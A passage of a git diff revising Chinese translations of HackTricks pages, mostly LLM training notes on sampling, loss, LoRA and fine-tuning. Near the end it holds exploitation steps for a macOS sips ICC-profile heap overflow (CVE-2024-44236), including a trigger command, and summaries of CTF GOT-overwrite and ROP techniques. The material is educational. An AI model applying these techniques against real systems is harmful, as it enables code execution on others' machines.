-为了进行正确的训练，需要测量检查获得的预测与预期标记的匹配程度。训练的目标是最大化正确标记的可能性，这涉及到相对于其他标记增加其概率。 +为了进行正确的训练，需要测量检查获得的预测与预期标记的匹配情况。训练的目标是最大化正确标记的可能性，这涉及到相对于其他标记增加其概率。 为了最大化正确标记的概率，必须修改模型的权重，以使该概率最大化。权重的更新是通过**反向传播**完成的。这需要一个**要最大化的损失函数**。在这种情况下，函数将是**执行的预测与期望预测之间的差异**。 -然而，它将不是处理原始预测，而是处理以n为底的对数。因此，如果当前对预期标记的预测是7.4541e-05，则**7.4541e-05**的自然对数（以*e*为底）大约是**-9.5042**。\ -然后，对于每个上下文长度为5个标记的条目，例如，模型需要预测5个标记，前4个标记是输入的最后一个，第五个是预测的标记。因此，在这种情况下，对于每个条目我们将有5个预测（即使前4个在输入中，模型并不知道这一点），因此有5个预期标记，因此有5个概率需要最大化。 +然而，它将使用以n为底的对数，而不是处理原始预测。因此，如果当前对预期标记的预测是7.4541e-05，则**7.4541e-05**的自然对数（以*e*为底）大约是**-9.5042**。\ +然后，对于每个具有5个标记上下文长度的条目，例如，模型需要预测5个标记，前4个标记是输入的最后一个，第五个是预测的标记。因此，在这种情况下，对于每个条目我们将有5个预测（即使前4个在输入中，模型并不知道这一点），因此有5个预期标记，因此有5个概率需要最大化。 因此，在对每个预测执行自然对数后，计算**平均值**，去掉**负号**（这称为_交叉熵损失_），这是**需要尽可能接近0的数字**，因为1的自然对数是0： @@ -545,14 +545,14 @@ return tokenizer.decode(flat.tolist()) ``` ### 生成文本函数 -在前面的部分中，一个函数仅在获取 logits 后获取 **最可能的标记**。然而，这意味着对于每个输入，总是会生成相同的输出，这使得它非常确定性。 +在前面的部分中，一个函数仅在获取 logits 后获取 **最可能的标记**。然而，这意味着对于每个输入，总是会生成相同的输出，这使得结果非常确定性。 -以下 `generate_text` 函数将应用 `top-k`、`temperature` 和 `multinomial` 概念。 +以下的 `generate_text` 函数将应用 `top-k`、`temperature` 和 `multinomial` 概念。 -- **`top-k`** 意味着我们将开始将所有标记的概率减少到 `-inf`，除了前 k 个标记。因此，如果 k=3，在做出决定之前，只有 3 个最可能的标记的概率将与 `-inf` 不同。 +- **`top-k`** 意味着我们将开始将所有标记的概率减少到 `-inf`，除了前 k 个标记。因此，如果 k=3，在做出决策之前，只有 3 个最可能的标记的概率将与 `-inf` 不同。 - **`temperature`** 意味着每个概率将被温度值除以。值为 `0.1` 将提高最高概率与最低概率的比较，而温度为 `5` 的情况下，例如将使其更加平坦。这有助于提高我们希望 LLM 具有的响应变化。 - 在应用温度后，再次应用 **`softmax`** 函数，使所有剩余标记的总概率为 1。 -- 最后，函数 **`multinomial`** 被应用于 **根据最终概率预测下一个标记**，而不是选择具有最大概率的标记。因此，如果标记 1 的概率为 70%，标记 2 的概率为 20%，标记 3 的概率为 10%，那么 70% 的时间将选择标记 1，20% 的时间将选择标记 2，10% 的时间将选择标记 3。 +- 最后，函数不再选择概率最大的标记，而是应用 **`multinomial`** 来 **根据最终概率预测下一个标记**。因此，如果标记 1 的概率为 70%，标记 2 的概率为 20%，标记 3 的概率为 10%，那么标记 1 将被选择 70% 的时间，标记 2 将被选择 20% 的时间，标记 3 将被选择 10% 的时间。 ```python # Generate text function def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): @@ -594,19 +594,19 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> 有一种常见的替代方法叫做 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)，也称为核采样，它不是获取具有最高概率的 k 个样本，而是 **按概率对所有结果的 **词汇** 进行排序，并从最高概率到最低概率 **累加**，直到达到 **阈值**。 +> 有一种常见的替代方法叫做 [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling)，也称为核采样，它不是获取具有最高概率的 k 个样本，而是 **按概率对所有结果的 **vocabulary** 进行排序，并从最高概率到最低概率 **累加**，直到达到 **阈值**。 > -> 然后，**只有那些词** 的词汇将根据它们的相对概率被考虑。 +> 然后，**只有这些单词** 的 vocabulary 将根据它们的相对概率被考虑。 > -> 这使得不需要选择一个数量为 `k` 的样本，因为最佳的 k 可能在每种情况下都不同，而是 **只需要一个阈值**。 +> 这使得不需要选择一个数量为 `k` 的样本，因为最佳的 k 可能在每种情况下都不同，而是 **仅需要一个阈值**。 > -> _注意，这一改进未包含在之前的代码中。_ +> _请注意，这一改进未包含在之前的代码中。_ > [!TIP] > 改进生成文本的另一种方法是使用 **Beam search**，而不是在此示例中使用的贪婪搜索。\ -> 与贪婪搜索不同，贪婪搜索在每一步选择最可能的下一个词并构建单一序列，**beam search 在每一步跟踪得分最高的 𝑘 k 个部分序列**（称为“光束”）。通过同时探索多种可能性，它在效率和质量之间取得平衡，增加了 **找到更好整体** 序列的机会，这可能由于早期的次优选择而被贪婪方法错过。 +> 与贪婪搜索不同，贪婪搜索在每一步选择最可能的下一个单词并构建单个序列，**beam search 在每一步跟踪得分最高的 𝑘 k 个部分序列**（称为“beams”）。通过同时探索多种可能性，它在效率和质量之间取得平衡，增加了 **找到更好整体** 序列的机会，这可能由于早期的次优选择而被贪婪方法遗漏。 > -> _注意，这一改进未包含在之前的代码中。_ +> _请注意，这一改进未包含在之前的代码中。_ ### Loss functions @@ -654,10 +654,10 @@ return total_loss / num_batches 从这里可以注意到，定义了90%的文本将用于训练，而10%将用于验证，两个数据集存储在两个不同的数据加载器中。\ 请注意，有时数据集的一部分也会留作测试集，以更好地评估模型的性能。 -两个数据加载器使用相同的批量大小、最大长度、步幅和工作线程数（在这种情况下为0）。\ +两个数据加载器使用相同的批量大小、最大长度和步幅，以及工作线程数（在这种情况下为0）。\ 主要的区别在于每个加载器使用的数据，以及验证器不会丢弃最后一部分数据，也不会打乱数据，因为这对验证目的并不需要。 -此外，**步幅与上下文长度一样大**，意味着用于训练数据的上下文之间不会重叠（减少过拟合，但也减少训练数据集）。 +此外，**步幅与上下文长度一样大**，意味着用于训练数据的上下文之间不会重叠（减少过拟合，但也减少了训练数据集）。 此外，请注意，在这种情况下，批量大小为2，以将数据分为2个批次，主要目的是允许并行处理并减少每个批次的消耗。 ```python @@ -690,7 +690,7 @@ num_workers=0 ``` ## Sanity Checks -目标是检查是否有足够的用于训练的 tokens，形状是否符合预期，并获取有关用于训练和验证的 tokens 数量的一些信息： +目标是检查是否有足够的训练令牌，形状是否符合预期，并获取有关用于训练和验证的令牌数量的一些信息： ```python # Sanity checks if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: @@ -760,10 +760,10 @@ print("Validation loss:", val_loss) - 训练数据加载器（数据已经分离并准备好进行训练） - 验证器加载器 -- 训练期间使用的 **优化器**：这是将使用梯度并更新参数以减少损失的函数。在这种情况下，正如你将看到的，使用的是 `AdamW`，但还有许多其他选择。 +- 训练期间使用的 **优化器**：这是将使用梯度并更新参数以减少损失的函数。在这种情况下，如你所见，使用的是 `AdamW`，但还有许多其他选择。 - 调用 `optimizer.zero_grad()` 以在每轮重置梯度，防止它们累积。 -- **`lr`** 参数是 **学习率**，决定在优化过程中更新模型参数时采取的 **步长大小**。较 **小** 的学习率意味着优化器对权重进行 **较小的更新**，这可能导致更 **精确** 的收敛，但可能会 **减慢** 训练。较 **大** 的学习率可以加快训练，但 **有可能超出** 损失函数的最小值（**跳过** 损失函数最小化的点）。 -- **权重衰减** 通过添加一个额外的项来修改 **损失计算** 步骤，以惩罚大权重。这鼓励优化器找到具有较小权重的解决方案，在很好地拟合数据和保持模型简单之间取得平衡，防止机器学习模型过拟合，避免模型对任何单一特征赋予过多重要性。 +- **`lr`** 参数是 **学习率**，决定在优化过程中更新模型参数时采取的 **步长大小**。较 **小** 的学习率意味着优化器对权重进行 **较小的更新**，这可能导致更 **精确** 的收敛，但可能会 **减慢** 训练。较 **大** 的学习率可以加快训练，但 **有可能超越** 损失函数的最小值（**跳过** 损失函数最小化的点）。 +- **权重衰减** 通过添加一个额外的项来修改 **损失计算** 步骤，以惩罚大权重。这鼓励优化器找到具有较小权重的解决方案，在良好拟合数据和保持模型简单之间取得平衡，防止机器学习模型过拟合，避免模型对任何单一特征赋予过多重要性。 - 传统优化器如带有 L2 正则化的 SGD 将权重衰减与损失函数的梯度结合。然而，**AdamW**（Adam 优化器的一个变体）将权重衰减与梯度更新解耦，从而实现更有效的正则化。 - 用于训练的设备 - 训练轮数：遍历训练数据的次数 @@ -832,10 +832,10 @@ print(decoded_text.replace("\n", " ")) # Compact print format model.train() # Back to training model applying all the configurations ``` > [!TIP] -> 为了提高学习率，有几个相关的技术叫做 **linear warmup** 和 **cosine decay.** +> 为了提高学习率，有几个相关的技术称为 **linear warmup** 和 **cosine decay.** > > **Linear warmup** 的定义是设定一个初始学习率和一个最大学习率，并在每个 epoch 后持续更新。这是因为以较小的权重更新开始训练可以降低模型在训练阶段遇到大且不稳定更新的风险。\ -> **Cosine decay** 是一种 **逐渐减少学习率** 的技术，遵循半余弦曲线 **在 warmup** 阶段之后，减缓权重更新以 **最小化超调** 损失最小值的风险，并确保后期训练的稳定性。 +> **Cosine decay** 是一种技术，它在 **warmup** 阶段后 **逐渐减少学习率**，遵循半余弦曲线，减缓权重更新以 **最小化超调** 损失最小值的风险，并确保后期训练的稳定性。 > > _请注意，这些改进未包含在之前的代码中。_ @@ -945,4 +945,4 @@ model.eval() # Put in eval mode - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index cfe0394c3..0ec463019 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,17 +1,17 @@ # 7.0. LoRA 在微调中的改进 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## LoRA 改进 > [!TIP] -> 使用 **LoRA 大大减少了所需的计算** 来 **微调** 已经训练好的模型。 +> 使用 **LoRA 大大减少了** 需要的 **微调** 已经训练好的模型的计算量。 -LoRA 使得通过仅更改模型的 **小部分** 来高效地微调 **大型模型** 成为可能。它减少了需要训练的参数数量，从而节省了 **内存** 和 **计算资源**。这是因为： +LoRA 使得通过仅更改模型的一 **小部分** 来高效地微调 **大型模型** 成为可能。它减少了需要训练的参数数量，从而节省了 **内存** 和 **计算资源**。这是因为： 1. **减少可训练参数的数量**：LoRA 不更新模型中的整个权重矩阵，而是将权重矩阵 **拆分** 为两个较小的矩阵（称为 **A** 和 **B**）。这使得训练 **更快**，并且需要 **更少的内存**，因为需要更新的参数更少。 -1. 这是因为它不计算层（矩阵）的完整权重更新，而是将其近似为两个较小矩阵的乘积，从而减少了更新计算：\ +1. 这是因为它不计算一个层（矩阵）的完整权重更新，而是将其近似为两个较小矩阵的乘积，从而减少了更新计算：\
@@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index c1cea318d..05f89a2a1 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,13 +1,13 @@ # 7.1. Fine-Tuning for Classification -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## 什么是 -微调是将一个**预训练模型**的过程，该模型已经从大量数据中学习了**通用语言模式**，并将其**调整**以执行**特定任务**或理解特定领域的语言。这是通过在一个较小的、特定任务的数据集上继续训练模型来实现的，使其能够调整参数，以更好地适应新数据的细微差别，同时利用其已经获得的广泛知识。微调使模型能够在专业应用中提供更准确和相关的结果，而无需从头开始训练一个新模型。 +微调是将一个**预训练模型**的过程，该模型已经从大量数据中学习了**通用语言模式**，并**调整**它以执行**特定任务**或理解特定领域的语言。这是通过在一个较小的、特定任务的数据集上继续训练模型来实现的，使其能够调整参数以更好地适应新数据的细微差别，同时利用其已经获得的广泛知识。微调使模型能够在专业应用中提供更准确和相关的结果，而无需从头开始训练一个新模型。 > [!TIP] -> 由于预训练一个“理解”文本的LLM成本相当高，因此通常更容易和便宜地微调开源的预训练模型，以执行我们希望其执行的特定任务。 +> 由于预训练一个“理解”文本的LLM相当昂贵，因此通常更容易和便宜地微调开源的预训练模型以执行我们希望其执行的特定任务。 > [!TIP] > 本节的目标是展示如何微调一个已经预训练的模型，因此LLM将选择给出**给定文本被分类到每个给定类别的概率**（例如，文本是否为垃圾邮件）。 @@ -18,12 +18,12 @@ 当然，为了微调模型，您需要一些结构化数据来专门化您的LLM。在[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)中提出的示例中，GPT2被微调以检测电子邮件是否为垃圾邮件，使用的数据来自[https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_。 -该数据集包含的“非垃圾邮件”示例远多于“垃圾邮件”示例，因此本书建议**仅使用与“垃圾邮件”相同数量的“非垃圾邮件”示例**（因此，从训练数据中删除所有额外示例）。在这种情况下，每种类型各有747个示例。 +该数据集包含的“非垃圾邮件”示例远多于“垃圾邮件”示例，因此本书建议**仅使用与“垃圾邮件”相同数量的“非垃圾邮件”示例**（因此，从训练数据中删除所有额外示例）。在这种情况下，每种情况有747个示例。 然后，**70%**的数据集用于**训练**，**10%**用于**验证**，**20%**用于**测试**。 - **验证集**在训练阶段用于微调模型的**超参数**并做出关于模型架构的决策，有效地通过提供模型在未见数据上的表现反馈来帮助防止过拟合。它允许在不偏倚最终评估的情况下进行迭代改进。 -- 这意味着，尽管此数据集中包含的数据不直接用于训练，但它用于调整最佳**超参数**，因此该集不能像测试集那样用于评估模型的性能。 +- 这意味着尽管此数据集中包含的数据不直接用于训练，但它用于调整最佳**超参数**，因此该集不能像测试集那样用于评估模型的性能。 - 相比之下，**测试集**仅在模型完全训练并完成所有调整后使用；它提供了对模型在新未见数据上泛化能力的无偏评估。对测试集的最终评估提供了模型在实际应用中预期表现的现实指示。 ### 条目长度 @@ -36,7 +36,7 @@ ## 分类头 -在这个特定示例中（预测文本是否为垃圾邮件），我们并不关心根据GPT2的完整词汇进行微调，而只希望新模型能够判断电子邮件是否为垃圾邮件（1）或不是（0）。因此，我们将**修改最终层**，使其给出每个词汇的概率，改为仅给出是否为垃圾邮件的概率（就像一个包含2个单词的词汇）。 +在这个特定示例中（预测文本是否为垃圾邮件），我们并不关心根据GPT2的完整词汇进行微调，而只希望新模型能够判断电子邮件是否为垃圾邮件（1）或不是（0）。因此，我们将**修改最终层**，使其提供每个词汇的概率，改为仅提供是否为垃圾邮件的概率（就像一个包含2个单词的词汇）。 ```python # This code modified the final layer with a Linear one with 2 outs num_classes = 2 @@ -49,7 +49,7 @@ out_features=num_classes ``` ## 参数调整 -为了快速微调，最好只微调一些最终参数，而不是所有参数。这是因为已知较低层通常捕捉基本的语言结构和适用的语义。因此，仅**微调最后几层通常就足够且更快**。 +为了快速微调，最好只微调一些最终参数，而不是所有参数。这是因为已知较低层通常捕捉基本的语言结构和适用的语义。因此，**通常只微调最后几层就足够且更快**。 ```python # This code makes all the parameters of the model unrtainable for param in model.parameters(): @@ -64,9 +64,9 @@ for param in model.final_norm.parameters(): param.requires_grad = True ``` -## 用于训练的条目 +## Entries to use for training -在之前的部分中，LLM通过减少每个预测标记的损失进行训练，尽管几乎所有预测的标记都在输入句子中（只有最后一个是真正预测的），以便模型更好地理解语言。 +在之前的部分，LLM通过减少每个预测标记的损失进行训练，尽管几乎所有预测的标记都在输入句子中（只有最后一个是真正预测的），以便模型更好地理解语言。 在这种情况下，我们只关心模型是否能够预测该模型是垃圾邮件，因此我们只关心最后一个预测的标记。因此，需要修改我们之前的训练损失函数，仅考虑该标记。 @@ -111,4 +111,4 @@ return loss - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md index 942df73ef..8916f26bb 100644 --- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md +++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md @@ -1,13 +1,13 @@ # 7.2. 微调以遵循指令 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} > [!TIP] > 本节的目标是展示如何**微调一个已经预训练的模型以遵循指令**，而不仅仅是生成文本，例如，作为聊天机器人响应任务。 ## 数据集 -为了微调一个 LLM 以遵循指令，需要一个包含指令和响应的数据集来微调 LLM。有不同的格式可以训练 LLM 以遵循指令，例如： +为了微调一个 LLM 以遵循指令，需要有一个包含指令和响应的数据集来微调 LLM。有不同的格式可以训练 LLM 以遵循指令，例如： - Apply Alpaca 提示样式示例： ```csharp @@ -58,19 +58,19 @@ print(model_input + desired_response) 然后，需要对所有输入和期望输出进行批处理以进行训练。为此，需要： - 对文本进行标记化 -- 将所有样本填充到相同的长度（通常长度将与用于预训练LLM的上下文长度相同） +- 将所有样本填充到相同的长度（通常长度将与用于预训练LLM的上下文长度一样大） - 在自定义合并函数中将输入向右移动1以创建期望的标记 -- 用-100替换一些填充标记，以将其排除在训练损失之外：在第一个`endoftext`标记之后，将所有其他`endoftext`标记替换为-100（因为使用`cross_entropy(...,ignore_index=-100)`意味着它将忽略目标为-100的情况） -- \[可选\] 使用-100掩盖所有属于问题的标记，以便LLM仅学习如何生成答案。在应用Alpaca风格时，这将意味着掩盖直到`### Response:`的所有内容 +- 用-100替换一些填充标记，以将其排除在训练损失之外：在第一个`endoftext`标记之后，将所有其他`endoftext`标记替换为-100（因为使用`cross_entropy(...,ignore_index=-100)`意味着它将忽略目标为-100的标记） +- \[可选\] 使用-100掩盖所有属于问题的标记，以便LLM仅学习如何生成答案。在应用Alpaca风格时，这将意味着掩盖所有内容直到`### Response:` -创建好这些后，是时候为每个数据集（训练、验证和测试）创建数据加载器。 +创建好这些后，是时候为每个数据集（训练、验证和测试）创建数据加载器了。 ## 加载预训练LLM & 微调 & 损失检查 需要加载一个预训练的LLM进行微调。这在其他页面中已经讨论过。然后，可以使用之前使用的训练函数来微调LLM。 -在训练过程中，还可以查看训练损失和验证损失在各个时期的变化，以查看损失是否在减少以及是否发生了过拟合。\ -请记住，过拟合发生在训练损失减少但验证损失没有减少甚至增加时。为避免这种情况，最简单的方法是在这种行为开始的时期停止训练。 +在训练期间，还可以查看训练损失和验证损失在各个时期的变化，以查看损失是否在减少以及是否发生了过拟合。\ +请记住，过拟合发生在训练损失减少但验证损失没有减少甚至增加时。为了避免这种情况，最简单的方法是在这种行为开始的时期停止训练。 ## 响应质量 @@ -79,16 +79,16 @@ print(model_input + desired_response) 验证响应质量的其他测试： -1. **测量大规模多任务语言理解（**[**MMLU**](https://arxiv.org/abs/2009.03300)**）：** MMLU评估模型在57个学科（包括人文学科、科学等）中的知识和解决问题的能力。它使用多项选择题在从初级到高级专业的不同难度级别上评估理解。 +1. **测量大规模多任务语言理解（**[**MMLU**](https://arxiv.org/abs/2009.03300)**）：** MMLU评估模型在57个学科（包括人文学科、科学等）中的知识和解决问题的能力。它使用多项选择题在不同难度级别（从初级到高级专业）评估理解能力。 2. [**LMSYS聊天机器人竞技场**](https://arena.lmsys.org)：该平台允许用户并排比较不同聊天机器人的响应。用户输入提示，多个聊天机器人生成可以直接比较的响应。 3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**：** AlpacaEval是一个自动评估框架，其中像GPT-4这样的高级LLM评估其他模型对各种提示的响应。 4. **通用语言理解评估（**[**GLUE**](https://gluebenchmark.com/)**）：** GLUE是九个自然语言理解任务的集合，包括情感分析、文本蕴含和问答。 5. [**SuperGLUE**](https://super.gluebenchmark.com/)**：** 在GLUE的基础上，SuperGLUE包括更具挑战性的任务，旨在对当前模型构成困难。 6. **超越模仿游戏基准（**[**BIG-bench**](https://github.com/google/BIG-bench)**）：** BIG-bench是一个大规模基准，包含200多个任务，测试模型在推理、翻译和问答等领域的能力。 7. **语言模型的整体评估（**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**）：** HELM提供了在准确性、鲁棒性和公平性等各种指标上的全面评估。 -8. [**OpenAI评估**](https://github.com/openai/evals)**：** OpenAI的开源评估框架，允许对AI模型进行自定义和标准化任务的测试。 +8. [**OpenAI Evals**](https://github.com/openai/evals)**：** OpenAI的开源评估框架，允许在自定义和标准化任务上测试AI模型。 9. [**HumanEval**](https://github.com/openai/human-eval)**：** 一组用于评估语言模型代码生成能力的编程问题。 -10. **斯坦福问答数据集（**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**）：** SQuAD包含关于维基百科文章的问题，模型必须理解文本以准确回答。 +10. **斯坦福问答数据集（**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**）：** SQuAD由关于维基百科文章的问题组成，模型必须理解文本以准确回答。 11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**：** 一个大规模的琐事问题和答案数据集，以及证据文档。 还有很多很多其他的 @@ -101,4 +101,4 @@ print(model_input + desired_response) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md index 68f7d7bb4..abcb533fc 100644 --- a/src/AI/AI-llm-architecture/README.md +++ b/src/AI/AI-llm-architecture/README.md @@ -1,6 +1,6 @@ # LLM 训练 - 数据准备 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} **这些是我从非常推荐的书籍中做的笔记** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **以及一些额外的信息。** @@ -24,7 +24,7 @@ ## 2. 数据采样 > [!TIP] -> 这个第二阶段的目标非常简单：**对输入数据进行采样，并为训练阶段准备数据，通常通过将数据集分成特定长度的句子，并生成预期的响应。** +> 这个第二阶段的目标非常简单：**对输入数据进行采样，并为训练阶段准备，通常通过将数据集分成特定长度的句子，并生成预期的响应。** {{#ref}} 2.-data-sampling.md @@ -42,10 +42,10 @@ 3.-token-embeddings.md {{#endref}} -## 4. 注意机制 +## 4. 注意力机制 > [!TIP] -> 这个第四阶段的目标非常简单：**应用一些注意机制**。这些将是许多**重复的层**，将**捕捉词汇表中单词与当前用于训练 LLM 的句子中其邻居的关系**。\ +> 这个第四阶段的目标非常简单：**应用一些注意力机制**。这些将是许多**重复的层**，将**捕捉词汇表中单词与当前用于训练 LLM 的句子中其邻居的关系**。\ > 为此使用了许多层，因此许多可训练的参数将捕捉这些信息。 {{#ref}} @@ -55,7 +55,7 @@ ## 5. LLM 架构 > [!TIP] -> 这个第五阶段的目标非常简单：**开发完整 LLM 的架构**。将所有内容整合在一起，应用所有层并创建所有函数以生成文本或将文本转换为 ID 及反向操作。 +> 这个第五阶段的目标非常简单：**开发完整 LLM 的架构**。将所有内容整合在一起，应用所有层并创建所有生成文本或将文本转换为 ID 及其反向的函数。 > > 该架构将用于训练和预测文本。 @@ -99,4 +99,4 @@ 7.2.-fine-tuning-to-follow-instructions.md {{#endref}} -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 11f28b2aa..37a69920c 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1,3 @@ # Arbitrary Write 2 Exec -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 749107fcb..e24056198 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,7 +4,7 @@ ## 概述 -Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞（macOS 15.0.1, sips-307），由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写，最多达到堆缓冲区之后的 16 字节，破坏堆元数据或函数指针，并启用任意代码执行（CVE-2024-44236）。 +Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞（macOS 15.0.1, sips-307），由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写，最多可超出堆缓冲区 16 字节，从而破坏堆元数据或函数指针，并启用任意代码执行 (CVE-2024-44236)。 ## 易受攻击的代码 @@ -23,7 +23,7 @@ buffer[i] = 0; 1. **构造恶意 `.icc` 配置文件：** - 构建 ICC 头（128 字节），签名为 `acsp`，并包含一个 `lutAToBType` 或 `lutBToAType` 标签条目。 - 在标签表中，将 `offsetToCLUT` 设置为标签的 `size`（`tagDataSize`）。 -- 在标签数据块后面放置攻击者控制的数据，以覆盖堆元数据。 +- 在标签数据块后立即放置攻击者控制的数据，以覆盖堆元数据。 2. **触发解析：** ```bash @@ -34,7 +34,7 @@ sips --verifyColor malicious.icc ## 影响 -成功利用会导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。 +成功利用将导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。 ## 检测 @@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner - Apple 2024 年 10 月安全更新（修补 CVE-2024-44236） https://support.apple.com/en-us/121564 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index e86fe2917..fa2cb02d3 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -9,12 +9,12 @@ 然而，您可以找到一些不错的 **示例**： - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) -- 有 **2 个冲突的数组**，一个用于存储数据的 **地址**，另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组，从而写入一个任意地址并将其标记为大小。这允许在 GOT 表中写入 `free` 函数的地址，然后用 `system` 的地址覆盖它，并从内存中调用 free，使用 `/bin/sh`。 +- 有 **2 个冲突的数组**，一个用于存储数据的 **地址**，另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组，从而写入一个任意地址并将其视为大小。这允许在 GOT 表中写入 `free` 函数的地址，然后用 `system` 的地址覆盖它，并从内存中调用 free，使用 `/bin/sh`。 - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) -- 64 位，无 nx。覆盖一个大小以获得一种缓冲区溢出，其中每个东西都将被用作双倍数字并按从小到大的顺序排序，因此需要创建一个满足该要求的 shellcode，考虑到 canary 不应从其位置移动，最后用一个返回地址覆盖 RIP，该地址满足先前的要求，并将最大的地址设置为指向栈开始的新地址（由程序泄露），以便可以使用 ret 跳转到那里。 +- 64 位，无 nx。覆盖一个大小以获得一种缓冲区溢出，其中每个东西都将被用作双倍数字并按从小到大的顺序排序，因此需要创建一个满足该要求的 shellcode，考虑到 canary 不应从其位置移动，最后用一个返回地址覆盖 RIP，该地址满足先前的要求，并将最大的地址设置为指向栈开始的新地址（由程序泄漏），以便可以使用 ret 跳转到那里。 - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) -- 64 位，无 relro，canary，nx，无 pie。栈中的数组存在一个 off-by-one 漏洞，允许控制一个指针，从而授予 WWW（它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址）。栈被控制，因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`，并在栈中添加 `main` 的地址（循环回到 `main`）。使用 ROP 链泄露 GOT 中 put 的地址，使用 puts（`exit` 将被调用，因此将调用 `pop rdi; ret`，因此在栈中执行此链）。最后，使用执行 ret2lib 的新 ROP 链。 +- 64 位，无 relro，canary，nx，无 pie。栈中的数组存在一个 off-by-one 漏洞，允许控制一个指针，从而授予 WWW（它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址）。栈被控制，因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`，并在栈中添加 `main` 的地址（循环回到 `main`）。使用 ROP 链泄漏 GOT 中 put 的地址，使用 puts（`exit` 